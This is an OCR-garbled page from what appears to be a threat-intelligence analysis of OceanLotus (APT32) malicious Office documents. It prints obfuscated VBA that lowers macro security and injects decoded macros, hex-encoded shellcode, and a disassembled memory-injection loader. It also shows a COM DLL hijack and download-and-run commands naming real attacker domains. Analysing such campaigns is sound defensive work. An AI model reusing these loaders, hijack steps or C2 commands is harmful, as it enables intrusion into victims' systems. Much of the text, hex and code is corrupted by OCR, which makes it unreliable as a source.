6_EFjugnl mrBn7mw

fFrQl_pIqReCmVbPhs4PnfbGT

651l FLIUIQO7MRWW
ua_ulX7AmGQ5 A

N ’
xcXv1Dazki @sms2 4 ( ) & mi : 3 ANK4ypNSdBYdpx1t7F
FS G7PuVFDK vo3c ) bjas, )

Then modify the security of the registry macro:
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SgT1ImrJumNFcshwgd0T3bSMSLMR5f7i00Ykdol

w2hFPKpBO1brF5bovou = GetObject(, RPEEhEaI2HI1Q0gN2nBX6sf1H33FFLIUIGO7MRIM)
Vn2TEUbRKTMBG = AKQ6Y VnBnroBigqdshnikeGH70YUeLunl

nT2d7rdAPNCi7hU1arGi42INGSN

CROi1XLQ33RgH
SuGAgA_DiQz16ICkag6_EFjuqnBS8r

61ckag6_EFjugnBs:

Take the data in the last five paragraphs of the total number of paragraphs (5 paragraphs in total, 2 blank lines, 3
with hex data), convert it from hex to bin, add it to the macro code of the new file, and then set the

x_NOth1ngH3r3 method to execute the macro code after 1 second:

g1 1Imr JumNF csNwq40T3bSMSLMRSF7i00vkdol ()
OrLn6xCYbF81xP_GaPThKEbkrx2L As
V7ywFHATOgWIZp7RVO XM 40bV1 As
JkZAXUBOVCWK YMAT1phEjUp
uBSmgRUZp1kYVIWDBCqFBI7SyMXI
LVPTVFV2qm7VBe2Nu_QuVS IniDs

Clkxv9Kic As
riN_xQmqu As

P6sY7ywFHATOgWIZp7RVOIXWC xPagqzvSxa0bV1 = ActiveDocument.Paragraphs (ActiveDocument.Paragraphs.Count - 5) Range.Text
zyAb_KyGCHUMrEiSf7VEWNUdA2DSPACrIN_xOmqu
7ywFHATogHIZp7RVOIXWcxPagqht 0bv1) - 1 Step 2
kH8BHayMAT 1phE Vi, 1, 1)
g3uBSMERUZP 1kYVIWDBCAFBI7SYMXPX32HSMN2 = Mid(p6SY7ywl iZvSx40bV1, 1 + 1, 1
y8yLVPTVFV2qu7VBA2Nu_QuV5ImiDSzVUb3tU 1WeIVT 2 0 j BOVCWkHEBHayMAT 1phEjUpoFbedPCQKmZT )
TFNSRVPCHBE4OZtHEDFCLATNMBYadrHWYVFDYFE = 1wWc
SsyByLVPTVFV2qm7VBO2Nu_QuV5ImiDSzVUb3tUvs * 16 + TFnSR tHEDFCtATNm8yadrHYVFDYF
)_KyGCWumrEiSf7VEWNUA2DSrAerIN_xQmqu — zyAb_KyGCWUmrEiSf7VEWNudA2DSrAeriN_xomqu & Chr(value)

T1ImrJumNF csNWG40I3bSMSLMRSF7i00Yk4ol = zyAb_KyGCWUmrEiSf7VEWNudA2DSrAeriN_xQmqu

295N2L ] . Reghrite RpkpnByaP_eHK74Q_IIwkQfTK43

dkmak150C@4RtOtOAZS = CreateObject(RPOENEAIZHI1Q0gN2NEX6
84RO 25.Visib:

rastf;
.Automat:

End If
t NaAkdm@BuNznlCAbriTTui Uegilutmohweq

NaAkdmeBUNZn1CAbriTTu Jegilwmohweq = FSmcCgiKKKIDPSCAPMIY S ject .vBComponen

nlCAbriTTuia3dzAUegiuMmohveq . Codetiodule AddFromstring (fCFkaldWIercyiyfFrQl_pIqReCmvbPhs4PnfbGT)

F3pxMUTL1TME3Tdkmak1 50| OtoA2S5. tionSecurit 8bbdM20s YMtKNy2 sKsHb

FSmeCgiKkKIDpSCAPMIVRARSPLHrUSY1]
FSmCCgiKkKIDpSCAPMIVXARSDEHrUSY 18

The format file is 1 pound text, which cannot be seen by the naked eye, as shown in the figure:
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|5 G | % Ca @ F 9 - oo @ G0 - @) SRR !.'I&;E%+1Evlcdibr1 -1
i 3 *

E 4 2 g 2 4 E 2 10 2 " 1€ © 20 22 2 40 2y M 46 12

TOTAL SECURITY

NETe
«

The first paragraph clears the data after formatting:

THF W LA ARTH W me W) TRaa

4B 9. 68 3R @ @ e fia £ - ~i -|B U~

o

507289766174652046756E6374896F6E204A4B42776F31338B6552675230444857 756050356
25531526E67614A4340325339636D4C4B7AB83028427956616C20737472417363696920417
320537472696E67292041732042797 4650D0A0D0A2020202044696D20617A7631313044517
T376ET8794B38448536577756625A775757636B63595154506A3556374B4449204173204279
T4650D0A2020202044696D20776337645364304E75366B374479554E6ETAS65439626C5AT4
42 3945&5 7554F52324142627147352041732042797465000A202020204469602075574BTAS
56F53586B4479775467 56685330 4B68336E61 7863776842586 9425054 5067647 34E 343520 41
732053747 2696E67202A20310D0A0D0A2020202061TAT6313130445177376E78794B384465
| 36577756625AT75757636B63505154506A355637484448203D20300D0A2020202049662028
4C656E28737472417363696020203D203129205468656E0D0A202020202020202075574BTA
. 556F53586B44 7977546 7566B53804B 6833661 78637768425860425054506F64 734E3435203
D204D69842873747241736369692C20312C2031290D0A20202020202020207763376453643
04ET75366B374479554E6ETAS65439626C0AT44230454457554F5232414262714735203D204
1736832875574BTAS56F53586B4479775467566B53304B68336E617863776842586842595450
6F64734E3435290D0A2020202020202020496620287 763376 453643 04E 75366837 4479554E6]
E7A565439626C5AT44230454457554F5232414262714735203E3020363520416E642077633
7645364304E75366B374479554E6E7AS65439626C5AT44239454407554F523241426271473
5203C3D20373029205468656E0D0A20202020202020202020202077 633764536430 4E75366
B374479554EBETAS65439626C5AT44230454457554F5232414262714735203D20776337645
364304E75366B374470554E6E TAS65439626C5A744230454457554F5232414262714735202
¥ D203635202B2031300D0A202020 202020 202045 6C 7365004202020 202020 2020202020207
76337645364304E75366B374479554E6E7AD65439626C5AT44239404457554F52324142627
147352030207 7633764536430 4E75366B374479554E6ETAS65439626C5AT44239454457554
F5232414262714735202D2034380D0A2020202020202020456E642049660D0A20202020202
02020617AT6313130445177376ET8784B38446536577706625ATT5757636B63595154506A35

After the data is converted into bin, it will be converted into the second macro code, and the first macro code will

execute the x_NOth1ngH3r3 function, as shown in the figure:
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7d1rbYey0ASqpd TDFIUs
IGE11CSBWREpRPdRIWI
GrUZx6Fv

P

=

=
Win

y
pt23k5VCqLTd

13
"

StuNK1Ld802kDR1rGa49eXC9jiegeh3FqGAGD
gLTXEPixGn3gtCMFIIRCIKpXKKCkIOXK

abSo0aa02d1o; SNNJy1SsgcyEqXMBz8e

ohgbF1QriPHE4. GetObject(, r7Qtsers57To VUdskPhgUkkinI
0A9qpdTDFIUsdHX ¢ 60Rb rtabUiRQSEY

Content.Text = ThisDocument.Content.Text

j6QTeC_d_MeXVUglDgbRXSsdAD_81tL3.VBProject.VBComponen
AddFromS (PVGCdy /jamlLkPZCSCTEB15

SbUIRNg:
KEOOK

637749656B3543557 2475857 2E4F6ES4696065284E6F77202B205469606553657269616C28
302C20302C2031292C2022785F4E307468316E6748337233222900D04202020200D0A090927
20626573746F72652074686520726567697 374727920746F2069747 3206F6C6420737461746
50D0A09094966204B526B44766A42354A3144728376354772555A783646765A53627531745
370575A43T430686AT66C203D202222205468656E0D0A09090968 6E56435937344A514F555
6697957476731316353425730457030706452574A71673333686C33T12E52656744656C6574
65205368531785F724C607153694433564B6F5837646C72625930794F 4138717064544446495
5736448580D0A0909456C73650D0A090809686E56435937344A514F5556697957476731316
3534257304570307064525T4AT1673333686C337 12E526567577260746520536531 T85F 724C
6D7153694433564B6F5837646C72625930794F4 1397170645444 464955736448582C204B526
B44766A42354A314472637 635477 2005AT83646765A53627531745370575A437430686AT66
C20202252454T5F44574F5244220D0A0809456E64204966000A202020200D0A090927 20545
55A36726B4BT786A36515430435F645F4D65585655676C446762525853736441445F386CT44
C332E436CHFT73652046616C73650D0A00094170706C69636174696F6E2E517569740D0A0D
0A094CEFEFT0205768696CE52046616CT3650D0A0D0A4572726F7248616E846CH85723A0D0
AODOA456E64205375620D0A

234966205642413720416E642057696E3634205468656E0D0APD0A20202020507269766174
6520436FBET3742050524F434553535F 4352454 154455F 5445624 54144203D202648320D0A2

B = MR

02020205072697661746520436F6E73742050524F434553535F51554552505F494E4 64F524D
4154494F4E20302026483430300D0A2020 202050 72697661 746520436F6E 737420505 24F434

It also starts with this function:
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X_NethingH3r3()

ErrorHandler

#If VBA7 And Win64 Then
NWRFdpi8JkEtqpmVvGlhnhd8STIC
Gdup7XZj9clgMjhwIINIIGMaEZAG!
VpsadfjB1zQIJIGu_rkMznSZ.

MWRFdpi8IkEtqpmvv
Gdup7XZj9clqMjhuIIN1IGMaEZAG
VpsadfjB1zQIIGu_ HMMCH7IVHSFj dBXo

X2q7uStIUVQWeRfbMQonjoNcmT As
wWAAB2pSFmK h2Pef3jq =
ISZfHuFBYS8ow7zRYM20PH2bt:

QEGQBC
NSHCpA!

_Count - 2}||Range_Text

#If VBAZ7 And Win64 T
dLw uek JWwid

The data are as follows:

8B4C240453FECTEB1C2499C1F80200D50A8B 4424 145A53669952514 28B542418F 5538B5C
2424539D5B8D642424891C240FBT04508B04818D40B4515603C68850B4538850DB5FFDOGB
75F88B5DECS83CET8FFTB04567FFD3BA08806424FCEDE424D89IC5H166C 1E1059EFTD153FE
CBOFBAEBO05066C1E804F8860FBAES03FB0FCB33088B0424894424345B8B1C24660FBAF
900508954 24305AFTDBCOFD03669833C95366F TDOD50A4AB60FBDCOFEDCFED18B4C2408
9EF866998B542430378B44240C806424FCOC52C0ERDE53660FBAE303504086993F 3766C 1
C80366F7D0DS0AFTD2FE37903F37B82163000051B90D1D0000F TE1664AF96633D266B880
1166BO9BFABGFTF1D0ESEEFTDRBO2FFEB5C2408F6CECTC1CANB66330268B8614E66B99E8
ABBFTF18B442410509D8B4424048B0C248B54240C8D6424148904240D8B44 243480642433
893424FFD333DB435E5F8BC35B8BESSDC2040050FF55B08B4DF4ESECEBFFFF-

L P

Then write to memory for execution:

SZ1HMMCH7 JVHSrjdBXo, B

dpisIketqpmuvGlhnhd

#End If
gqacamnUXaHUURLtFy5qMalsg 223Qx = gqacamnUX4WUURItFy5qMalsgFul8adgPbC2zaQx + oXqnLKHptzLaXKugXdM2YrzVgTtQ4aQtqhdmAo7RU
End If

After the data hex is converted into bin, shellcode which is mostly used by OceanLotus is shown as follows:
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dword ptr -81éh
dword ptr -8ech
dword ptr -8@sh
dword ptr -8@sh
dword ptr -geeh
dword ptr -7FCh
dword ptr -7F8h
dword ptr -18h
dword ptr -1sh
dword ptr -1@h
dword ptr -ach
dword ptr -8

dword ptr -4

seg@dd:@eOEB27F var_81@
Seghba:BeeEB27F var_B8aC
Segeed:eeOEe27F var_Zes
5egbbe:BBREB2TF var_ Be4
Segeed:eeREe27F var_See
5egB88:BBREB2TF var_7FC
Seged:eeBEB2TF var_7F8
seg0dd:@BOEB2TF var_18
5egBBa:BeeEs27F var_14
seg@dd:@BOEB27F var_l@
Seghba:BeeEB27F var_C
segldd:@BOEB27F var_B8
5egbe:eBeEB27F var_4
Segeed:eeaEe27F

seghBa: BRRER2TF lea esp, [esp-4]
SegBea: eeaEe2s83 pushf

seghhd: BRREG234 push ecx

seghea: BRAER285 shl ecx, 3

seghfd: BRRER2EE push ebx

seghea: BRAER289 inc bh

segldd: eBRER28E or ecx, ecx

5eg000: BRRER28D shl X, b

Segeee: eeeEe291 push eax

segBe:eepEs292 aaa

Segeea: eeacEe293 push edx

seghbd: BRRER294 cwd

seghoa: BRAER296 cwd

segldd:eeeEe29s8 mov eax,

seghba: ereEe29n mov ecx,

segBbd: BBRER2A2 mul ecx

seg00e: BRRER2AL neg al

Seghed: @RER2AG bswap  ebx

seghoe: BRRER2AS mov ax, : 417
Segeea: eeaEe2AC mov X, i
seghhd: BRREG2EE mul (=4

5eghea: eeaEs283 stc

seghhd: BRREG2E4 sahf

seghea: BRAER2BS push ecx

segBbd: BBRER2B6 cbw

seghee: BRRER2ESE bswap  edx

SegBed: @eeEe28A inc edx

segPee: BRRER2EE or dh, dl

Segfea: @eeEe2eD cdg

seghfd: BRRERIEE mov edx, [esp+lCh+var_18]
Segeea: eeaEe202 das

seghfd: BRRER2CS mov bx, cx

seghea: BRAER2(6 mov ebx, [esp+lCh+var_18]
segBBd: BBEEe2CA mov ecx, [esp+lCh+var_C]
Seghea: BReEs2CE aas

Segeed: @eaEe2CF mov eax, [esp+1Ch+var_g]
sSegBee: BRRER2D3 push eax

Configuration file:

Offset o1 2 3 4 5 8 7 B 2 A B C D E F i+
ooooooen  eD 00 BE 00 BF 0O 70 OO 7A OO 0O 00O 53 00 4F 00 m.n.o.p.Z...3.0
oooooo7o 4 00 54 00 57 00 41 00 52 00 45 00 5C 00 41 00 F.T.W.A.R.E.~.A
ooooooso ¥0 00 ¥0 00 5C 00 41 00O 70 OO 70 00 58 00 37 00 p.p.~.A.p.p.X.7
oooooo9o 30 00 31 00 36 00 32 00O 34 00 38 00 36 00 63 00 0.1.6.2.4.8.6.c
ooooooao 37 00 35 00 35 00 34 00 66 OO0 37 00 66 00 38 00 7.5.5.4.£.7.f.8
ooooooeEo 30 00 e6 00 34 00 38 OO 31 OO 32 00 38 00 35 00 0O.£.4.8.1.9.8.5
ooooooco 4 00 36 00 37 00 35 00 38 00 36 00 64 00 5C 00 d.6.7.5.8.6.d.%
oooooopo 41 00 Y0 00 70 00 6C OO &9 OO0 63 00 &1 00 74 00 A.p.p.l.i.c.a.t
000000ED B9 00 BF 00 BE 0O 72 OO 00 OO 53 00 4F 00 45 00 i.o.n.=...35.0.F
ooooooFo 54 00 57 00 41 00 52 00O 45 00 5C 00 41 00 70 00 T.W.A.R.E.~N.A.p
oooooioo  F0 00 5C 00 41 00 70 OO 70 OO 58 00 37 00 30 00 p.~A.p.p.X.7.0
ooooo11o 31 00 36 00 32 00 34 00 38 00 36 00 &3 00 37 00 1.6.2.4.8.6..7
ooooo1zo 35 00 35 00 34 00 66 OO 37 OO0 66 00 38 00 30 00 5.5.4.f.7.£.8.0
ooooo130 ek 00 34 00 38 00 31 OO 39 OO0 38 00 35 00 64 00 f£.4.8.1.9.8.5.4d
ooooo140 3 00 37 00 35 00 38 00 36 00 &4 00 5C 00 44 00 6.7.5.8.6.d.%.D
00000150 e5 00 66 00 61 00 75 00O &C OO0 74 00 4% 00 63 00 e.f.a.u.l.t.l.c
ooooole0  BF 00 BE 00 O8 00 OO OO 44 00 61 00 74 00 61 00 o.n..... D.a.t.a
00000170 Oe 00 OO0 00 64 00 65 OO &6 OO 94 00 00 00 20 00 ....d.e.f.0... .
ooooolso 00 00 B3 00 6C 00 6F OO 75 00 &4 00 2E 00 33 00 eulioiuad. . 3.
00000190 3e 00 30 00 63 00 6E OO 2E OO0 &9 00 BE 00 66 00 6.0.¢.n...i.n.f.
ooooo1a0  eF 00 2A 00 OO0 0O 64 DO BE OO0 73 00 2E 00 63 00 o.*...d.n.s...c.
000001B0 &8 00 B8 00 BE 00 61 OO &E OO0 &5 00 77 00 73 00 h.i.n.a.n.e.w.sS.
oooooico  2E 00 BE 00 65 00 74 00O 77 00 &F 00 72 00 6B 00 meeltow.o.rlk.
oooooibo 20 00 00 00 61 00 &C OO &9 OO0 &5 00 78 00 70 0O ..o.aliilexzop.
ooooolED 72 00 65 00 73 00 73 00 &3 00 BE 00 2E 00 BE 00 r.e.s.s.c.n...n.
ooooolFo e5 00 74 00 1A 00 OO0 OO 63 00 68 00 69 00 GE 00 e.t..... c.h.i.n.
ooooozoo el 00 70 00 6F 00 72 00O 74 00 2E 00 eF 00 72 00 a.p.o.r.t...o.r.
ooooozi0  e7 00 OS5 44 05 00 OO0 44 05 00 4D 5& 90 00 03 00 g..D D..MZ.

ooooozzo o 00 00O O4 OO OO OO FF FF OO 0O BS 00 00 0O 00 0O .
0oooo0z30 00 00 40 OO0 OO0 OO OO0 0O 0D 00 00 00 00 00 00 00 ..@....0ueuunnnn
0ooooz40 00 OO0 OO OO OO0 OO OO0 0O 00D 00 00 00 00 00 00 00 ... i

| X¥HEP SeELE) AWyl EEWV) RN

hijkImnopz SOFTWARE'\App“AppX70162486c7554Ff7f80f481985d67586d Applicationz SOFTWARE
WApPP \AppX70162486¢c7554T7F80F481985d67586d \DefaultIcon: DataZ def
cloud. 360cn. info* dns.chinanews. network aliexpresscn.netZ chinaport.org
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This is the way that shellcode is loaded with three macros, mostly to combat shellcode static killing.

Template Injection Documents

The template injection class document of OceanLotus has universality, after the document starts, it will load
XXX.XXX/XXX. PNG

And do the following.

S0 B0 B B I 100 10 30000 290000 180, T

2>
xmats.org/package/2006/relationships"><Relationship Id="zIdi"
£/2006/relationships/attachedTenplate” Targec="Tas ERlII2z

To give an example of one of these attacks, fdsw.png is an office compound document:

(d497bd06b34a046841bb63d3bf20e605)

{1E& Tushar

ﬁﬁ—sﬂ’fﬂ#% bdministrator
Ei]= 3

T -

e L =

Eﬁ%ﬁ? Microsoft Office Ward
=]

EIEE

AEEFERIRTE 2018/8/23 11:10

B E—{ETEFIHEA 201971730 23:20

B fe— R TENRIRY iE]
SimiERTiaE] 00:01:00

If SysWOW64\cmd.exe file exists, the system is either 32-bit or 64-bit.

F (fsoCheck.FileExists("C

Depending on the system, the file is taken out of the cell, base64 decoded, and dropped to: %appdata%

main_background-png:
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k = ) Then

ableNew.Cell{1, 1).Range.Text
Left(a, Len(a) - 2
BasebdDecode(a, sAppData)

tableNew.Cell(1, 2).Range.Text
Left(a, Len(a) -
Baset4Decode(a, sAppData)

According to this CSID, it is the CSID of the DLL that is hijacked: %SystemRoot%\System32\ playsndsrv.dll

4- )| (2DEAGSBF-54C1-4227-AF9B-260ABSFC3543)
InprocServer32
{2DECBCB7-BACO-316D-9131-43035C5CBA4E0}

BN REG_EXPAND_SZ [ 9SystemRootd\System32\PlaySndSrv.dll
2] ThreadingModel REG_SZ Both

This DLL is used to play sound.

The extraction content of base64 content in the cell is as follows:

Sy

AMETiDjrAjFETI0IS4 £+ 0iF23UNSIvHST e EQ+DE Aw Dy Hiei LwOmHhF £ 2 AMASTX AR TiGw/ FQDZ ARET
bt 1 VUi DxQRIO+ PN TS # O 1 = UF Tw LAMA+ Thd  05kmL1 Ui Ly BYVH e hAE i Fw HRR TT sFACYCALp AR A AL
QT+ B/ KaGKylei LOE j Tyl cOEuHLE efx@MAB w1 M xXHT £L ASTRM: <+ T el AT vCalAAAAC DADSr +E 5T
z0kezHimHvF e A QMANSET 1 1wkUEi LhCRY ST +0TGEET 258 2R YIBY1TF dg Ve fw0i LBl TRARTi W 205 T1wGELT
&CBEVEiDTFEEL 171/ CLALy T exc0AQEM L P QX 2 AAEASTOVe FQAMT WA RS AEES+ F/IT1 JhTheBOVOIL
yPEVIHIAAEL1 L CS ghh b RTwFSTnETT AR AAEM 1 8ZT 1 WA TwYSTuM TT ahAAET 1 Uwl0E 1 LiCSRAARASTIN
JOCL;CSTAdAbi UwkEEmLzki TRCRz/ IPr M PSS T+0BMAF AMC LyESLz4uETT zARABM15 aTRCR 01 IVT 140k
hhbhF i TROQ & =V 1 whtST+ e TGBT i 2wkeaF i LACK#ST t8THET z8RAQVTDzE 1 LxEi THEETiW Y ST1wIELT
SARNSTP=QEmLAUmLAT wqTTONEXQEAEwHE £Z 2 AQCS Agh b AR i WF £ Tz 00 DeM £3/ /01 L2E i FwHY aST+T M2 10
2ARASTtMIFEMIB9Ni 8 Ll £,/ T6 zBI j UKUE i JRCQwTIIMICS 4B AMAEvHECQwST1UTC i JREQRSTIMICCT
RCRoBE£5// 911 1wYEi LECR ST +0TGhT 28RANSFMzE1 THCRIVO1 DTCET 1 1M 020 cw EAuAM AR ARM ;OVE
cwEASTOVr 84801 o/ P/ /STwYSIXAIBET 18 /FZ/HAMRTi8/ f0+ =6/ 211 ghaST+ c JOBT 280 HEFM M= T
1V liCF AT ghw 21 1M Q1B cw EAuQQALAEMN QU+ ewEASTOVZuS AOLE /P fST+4STNAdAAT i8] Jj
W iy . z

FUSKAACLy  HBw i Ly SVt UAAE L LEC
AwSTPETF /DzMzMST1 e TARNSTE sTI+ZTI0NSETBALLF AdAATIOF3XIBAE i HFRbwhATloT v/ fDiL+EiFwH
RPSTvIfxKwl ghivi Bv 1+ =Ti0v/ FirVihBTi 1wlMEi[xCB £#8zMzE i THCATST10JBEXSIP =1Ei L2y NDZ
tyhQCLAVLNF dLut ACSEgh AMEwNEXSwARD o j £v/ /01 LAEi FwHRSST+I fx W1 ghASTwTid/ /1 usLSTwTid
FfFRzVARET i 1wIMEi LACQ4STFEIF /DEIwESI1ICE i ToBBTi KAYSTI4IEFYSTF sTEGLAH LA Two TIONNH
TEAE¥LAUYNEST¥ARET j ENIBRAAuROARAD oF £/ /01 L2Ei FwHATSTwI /21T 1 ghtRIvPTIwiGi OYTi87/0+
saMOTTi8T otw I AT vIRTwPTIw51 9/ Fa/ UAMBT i 1wIMEi LhCA4ST t0TEBT 1 3wkSE i DxCBEY sHLi VwkiE
1 JACAGVD i DTCCLA by HDb Rac ARBT 1 /FI RN qcRE AuREARKEN QWK cQEARTI6, F91 1 9hTheBOEki LyPEVIN
UAATwHSTw0 P r FridVa dQAAET 25 USLardwISTwHBPEAMBT i 1wlME i LACQ4STPEIF D zEi THCQIST1=JE
ELiXQLGF Al s+w QU+ TIOM nEBAT w2 TIOFUXERAE i LA HF Y/ t ARCSFAs b0 Rtw S TwwS TEA BV G
3/ FRTVAKBE1SYLO01 Lz, MYEwul00i Lz 8VhaMAKE i LECAwST + sTUT i 30kAE 1 DeCE w01 THCAIVO1DTC
BIi/1Mj035 cAEAuRUARAEN jOX ccARASTOVEXABAD o+ £/ ST+ TSINAARET 18] /Favl/hhBT1 5,/ /04 XN
JTi8/ 0l gEAMTwIngEAMT/F el TAABT 1 wlME1 DxCE fwBzMSTvESTI1YCEL ToBBT i X AYST14IEFHSTIP=1E
WLAUGLEE i Ll WD 2 dw AQCLE U HEZIw AQET RA Y chBbubchdbD oK (01 LEE: FwHUTSIvI xUs 1 A AREY

Base64 decodes one of the 32-bit PE, Dllmain will apply 0x34aca byte memory space, and then write the
shellcode at 0x10012760 into memory, and execute it through the thread:

Page 25 of 79



https://ti.gianxin.com /blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/

_text:10001005
EEXE10001005 § -

-text:10001006 align 10h .data:10012768 sub_16012766  proc near DATA XREF: sub_3
~text:10001010 data: 10012760 call 55 |

“text:10001010 ; ! data:10012765 pop  ecx

=SUBROUTINE

-text:10001010 data:16012766 sub ox, 5
-text:10001010 .data:16012769 lea  ecx, (unk_ 10613728 - 10812760h)[ecx]
-text:10001010 sub_10001010  proc near 5 CODE XREF: DI1Main(x,%,%)+281p/ | data:1co1276F pusha
~text:10001010 push  edi _data: 10012770 push
_text:10001011 call  ds:GetCurrentprocessId _data: 10012771 call  sub_10012778
_text:10001017 push  eax 3 dwProcessId _data: 10012776 popa
_text:10001018 push @ : bInherithandle _data: 10012777 retn
_text:10001014 push  1FFFFFh : dwbesiredaccess _data:10012777 sub 10012760  endp
_text:1000101F call  ds:Openprocess " data: 10012777

~text:10001025 mov  edi, eax _data:16012778

. text:10001027 test  edi, edi .data:16012778 : = SUBROUTINE
-text:10001029 jz short loc_1086106D _data: 10012778

~text:10001028 push  esi _data:10012778 ; bp-based frame
~text:1000102C push  4gh 3 flprotect _data:16012778

-text:1000102E push  3080h 3 flAllocationType _data:10012778 sub 10012778  proc near 5 CODE XREF: sub_10012760+111p
~text:10001033 push  34aceh 3 duSize _data: 10012775

~text:10001038 push & 5 lpAddress _data:10012775 var_EC = dword ptr -0tCh
text:10001034 push  edi 5 hProcess _data:10012775 var_E5 = dword ptr -0£8h
~text:10001038 call  ds:virtualAllocex _data:10012778 var 4 ~ duord ptr -0E4h
text:10001041 pust e 5 lphumberOfBytefliritten .data:10012778 var_EQ = dword ptr -eEoh
- text:10001043 push  34aCah 3 nsize .data:10812778 var_DC = dword ptr -anCh
_text:10001043 push  offset sub 10012760 ; lppuffer data: 10012778 var D3 = dword ptr -eDsh
. texti 10001040 mov_ esi, eax _data: 10012778 var_Dé = word ptr -apah
-text:1000104F push —esi - TpBaseAddress _data: 10012778 var_D0 = duord ptr -000h
text:10001050 push 3 hProcess .data:10012778 var_CC = dword ptr -BCCh
_text:10001051 call  dsturiteprocesshenory _data:16612778 var 3 ~ dword ptr -6Ch
_text:10001057 test  esi, esi _data:10012775 var_ca = word ptr -acah
- text: 10601059 5z short loc_1600106C [data:10012778 var_C2 - byte ptr -oc2h
-text:10001058 push G 5 pThreadTd _data:10012775 var_co = dword ptr -acoh
-text:10001050 push @ 3 dwCreationFlags .data:10012778 var_BC = dword ptr -@BCh
-text:1000105F push o 5 lpParameter _data:10012775 var_B5 = dword ptr -088h
~text:10001061 push —esi 5 IpStartaddress .data: 10012778 var_B4 - byte ptr -o84h
- text:10001062 push @ ;3 dwStacksize .data:10012778 var B0 = dword ptr -880h
text:10001064 push @ 5 lpThreadAttributes .data:10812778 var_AC = dword ptr -0ACh
. texti 10001066 call  ds:CreateThread _data:10012778 var_A8 = dword ptr -2ash
. text:1000106C _data: 10012778 var_ad = dword ptr -oAth
-text:1000106C loc_1000106C: 5 CODE XREF: sub_10001616+4915 [data:10012778 var_f0 = duord ptr -0a0h
- text:1000106C pop  esi -data: 10012775 var_aC = word ptr -oCh
_text:1000106D _data:10012775 var_9A = byte ptr -9ah
~text:1000106D loc_1000106D: 5 CODE XREF: sub_10001818+1915 [data:10012778 var 98 = dword ptr -osh
~text:1000106D pop  edi _data:10012775 var_94 = dword ptr -9ah
~text: 10001068 retn _data:10012775 var_%0 = word ptr -3¢
-text:1000106E sub 10001010  endp _data:10012775 var st = byte ptr -eh

- text: 10001068 .data: 10012778 var_&C = dword ptr -8ch
EOXEIIOOOIO6E ; - o .data:10012778 var 88 = dword ptr -88h

Shellcode goes to the pointer at offset 0xfc8 when the parameter is passed to the function of sub_160018:

seglae:aa160008 seglad segment byte public "CODE' use32
Seghen: ealobaea assume Cs:s5egbee

seghen: Balea8a8 ;org 16@ee8h

segfaa: ae160000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
segfaa: ae160000 call 45

Seghen: palepaes pop ecx

seghae: ae1608806 sub ecx, 5

seghae: ae1628809 lea ecx, [ec
seghad: ae160800F pusha

seghaa: ae16a018 push ecx

seghbd: 66160611 call sub_168618

seghen: palepals popa

Seghes:ealepal’y retn

The address offset 0xfc8 holds the command line argument and a PE:

SEEBBE BBLEBFC2 | - oo oo oo

sSeghes: BelearCs align 4
seglea: dw 182h
seghen: dw
seghed: Be168FCC dw

dw

Segeen: BR16aF
sSegees: BE16BFDE

segen: eploerD2 al
segbd: Bel6erDd

Segben: BRl6eFDE

sSegees:eel6erDs al
Seghen: Bel16arDA as
se2g000:00160FDC aErsWin7utleqDe:
segon: Bel6erDC
Segben: Bel6erDC
sSegees: BE16BFDC

db

text "UTF-16LE", 'ers\WIN7UTL64\Desktop\Macro_NB2_new\Request\PostDat'
text "UTF-16LE™, 'a32.exe -u https://office.allsafebrowsing.com/fdsw3"
text "UTF-16LE™, '2.pngz -t 240008°',08

Seghi: B 61608 db &
Seghn: Ba1616C9 db @
Segpen: B01616CA db  40h ;
Segaan: BB1616CE db 5Ah ; T
SEgees: Bel618CC db 98h
SegBl: Ba1616CD I —]
seghn: Ba1616CE db 3
Seghen: 001616CF b @
SeEaRn: BE161600 db @
Seghen: Bel61e01 db a
Seghn: Ba161802 db 4
Seg@dd;: 8a161603 dbo e
SeEaRn: BA161604 db @
sSegees: Bel616805 db a
segBl: Ba161006 db @FFh
Seghn: Ba161607 db @FFh
Seghen: 00161008 b @
SegaRn: BB161609 db @
Seghen: Bal6180A db 8B8h
segBl: Ba161006 db @

The function of sub_160018 is mainly to load the following PE in memory, and then pass the command line to
execute according to the command line parameters. The figure below is the code of receiving the command line

parameters for the PE:
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76 rMode (@x8887u) ;

77 =5 )

78

79 v3 = sub_482F48(&unk_432478, *argv);
8o sub_482F48(v3, " "y3
81 return 8;

82

83

84| dwMill

835 memset((void

36 5 = argv;

37| vE = @3

88 do

ga| {

98 7 = BvS[v6];

a1 v8 = stremp(vs[ve], "-u"};

a2 if ( vE )

93 8 = -(vB < @) | 1;

94 if { lvd )

95 {

9 v7 = &vS[++vE];

97 strecpy({char *)argc, vs[ve]);
98

qg g = *7;

lae 18 = "-t";

Request the URL, the downloaded data, after DES decryption, in memory load up.

a;

a;

/29 = v24 - Bdj
LOBYTE(v73) = 4;
sub_4@2188 (24
memmove_@(1p v
sub_4@2248((int *
/30 = sub_481978(dw
dword_432F88 = v24

= W B WM

0 0O 0O 0O 0O CO OO O 0O

[

=]
@

w32 = VirtualAlloc(@, v29, @x1@@du, @x4eu);
memmove_@( |32, v31, dword 432F88);

({void (* i w32} ()3

/47 = (CHAR ;
sub_4@84D59 ((LP
*(_DWORD *)&v4
sub_ 484059 (vEa);

Wb

=)

B2 OPD RI RD R ORI R ORI PRI RD PRI R PRI R ORI R R
WL

=]

I
SO W R

Find more samples through association analysis:

Sort by compile time as follows:

1S SFEA i thgel HhATHT T
392280031 4ET00BE20  [2018-07-06, 10:43:40 161260 end. exe /X ot Wiwindows\iine\\ncods. exe
66TE20L0T. 2018-08-14,05:10:20 | 10793477 |a: \codemacro_nb2'request exe ~u hitps://beta oficopedia. con/vinsbt. png ~4 200000
4cB0eTacet  |2018-09-20,08:07:31 287472 |a: \codemacro_nb2r equest exe —u hiips:/fcortanasyn. con/kirr32. png —4 200000
2dBaK5TFA9de | codeBbocl £FTB06H  [2018-09-P0,08:07:33 | 10798602 |a \codemacro_nbPirequest exe —u hitps://cortanasyn. con/kirrbd. png ~t 200000
deaBaT 6641877 91 |p018-10-p5,02:39:29 286961 |\ codenb2rbstr equest exe ~u hitps:/fristineho. con/seconds3? jpg ~t 60000
Fh4<5T b1 l2018-10-31, 04:49:48 285960 | code hnb2vbsr equest exe ~u hitps:/fristineho. con/threex3? png ~t 50000
1890431 [2018-10-31,04:48:51 282352 | code b2 sr equest exe ~u hitps:/fristineho. con/threexb4 png ~t 50000
